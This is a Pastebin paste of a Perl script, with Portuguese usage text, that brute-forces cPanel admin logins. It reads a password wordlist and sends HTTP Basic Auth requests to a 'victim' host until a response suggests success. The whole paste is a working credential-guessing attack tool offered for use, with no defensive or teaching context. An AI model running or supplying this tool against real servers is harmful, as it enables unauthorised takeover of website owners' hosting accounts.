Advertisement
Mitiny21

[Perl] Brute Force Senha Cpainel

Sep 7th, 2014
1,329
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.22 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Cpanel Brute Forcer
  3. # ----------------------------
  4. #    Criado By Mitiny-x
  5. use IO::Socket;
  6. use LWP::Simple;
  7. use MIME::Base64;
  8.  
  9. $host     = $ARGV[0];
  10. $user     = $ARGV[1];
  11. $port     = $ARGV[2];
  12. $list     = $ARGV[3];
  13. $file     = $ARGV[4];
  14. $url = "http://".$host.":".$port;
  15. if(@ARGV < 3){
  16. print q(
  17. ###############################################################
  18. #               Cpanel Brute Force                            #
  19. ###############################################################
  20. #     usage : cpanel.pl [HOST] [User] [PORT] [list] [File]    #
  21. #-------------------------------------------------------------#
  22. #    [Host] : Site Da Vitima          (www.site.com)          #
  23. #    [User] : User Admin               (Admin)                #
  24. #    [PORT] : Port Do Cpanel           (8090)                 #
  25. #    [list] : Word List De Senhas     (list.txt)              #
  26. #    [File] : Local Onde Salva Senha  (password.txt)          #
  27. #                                                             #
  28. ###############################################################
  29. #                    Criado By Mitiny                         #
  30. ###############################################################
  31. );exit;}
  32.  
  33. headx();
  34.  
  35. $numstart  = "-1";
  36.  
  37. sub headx() {
  38. print q(
  39. ###############################################################
  40. #              Cpanel Brute Force PassWord                    #
  41. #                  Criado By Mitiny21                         #
  42. ###############################################################
  43. );
  44. open (PASSFILE, "<$list") || die "[-] Can't open the List of password file !";
  45. @PASSWORDS = <PASSFILE>;
  46. close PASSFILE;
  47. foreach my $P (@PASSWORDS) {
  48. chomp $P;
  49. $passwd = $P;
  50. print "\n [~] Try Password : $passwd \n";
  51. &brut;
  52. };
  53. }
  54. sub brut() {
  55. $authx = encode_base64($user.":".$passwd);
  56. print $authx;
  57. my $sock = IO::Socket::INET->new(Proto => "tcp",PeerAddr => "$host", PeerPort => "$port") || print "\n [-] Can not connect to the host";
  58. print $sock "GET / HTTP/1.1\n";
  59. print $sock "Authorization: Basic $authx\n";
  60. print $sock "Connection: Close\n\n";
  61. read  $sock, $answer, 128;
  62. close($sock);
  63.  
  64. if ($answer =~ /Moved/) {
  65. print "\n [~] PASSWORD FOUND : $passwd \n";
  66. exit();
  67. }
  68. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement